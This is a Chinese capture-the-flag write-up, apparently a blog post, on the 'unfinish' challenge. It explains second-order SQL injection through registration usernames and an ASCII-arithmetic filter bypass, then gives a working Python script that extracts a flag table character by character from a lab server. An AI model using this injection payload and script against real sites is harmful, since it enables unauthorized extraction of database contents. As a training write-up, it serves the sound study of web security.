Loading

攻防世界 unfinish

unfinish

0x01

进入环境


)

首先,dirsearch扫描一下目录。

/config.php为空,/register.php注册账号看看

0x02

注册账号

注册流量包

登录后,仅有用户名

交互点,只有在注册和登陆时,可能出现二次注入

注册--->存储恶意的SQL语句

登录--->查询数据,导致数据进入SQL命令,致使SQL注入

0x03

验证是否存在二次注入

存在过滤

这里通过看大佬的博客,发现可借助SQL中+作为运算符,计算出ascii值进行绕过

0'+ascii(substr(database() from 1 for 1))+'0; 

成功返回值

既然这样就可以写脚本了

0x04

import requests
import re
from time import sleep

def search():
    flag = ''
    url = 'http://111.200.241.244:54810/'
    url1 = url+'register.php'
    url2 = url+'login.php'
    for i in range(100):
        sleep(0.3)
        data1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}
        data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}
        r1 = requests.post(url1, data=data1)
        r2 = requests.post(url2, data=data2)
        res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)
        res1 = re.search(r'\d+', res.group())
        flag = flag+chr(int(res1.group()))
        print(flag)
    print("final:"+flag)

if __name__ == '__main__':
    search()
flag{2494e4bf06734c39be2e1626f757ba4c}
posted @ 2022-03-13 02:20  sovo  阅读(99)  评论(0)    收藏  举报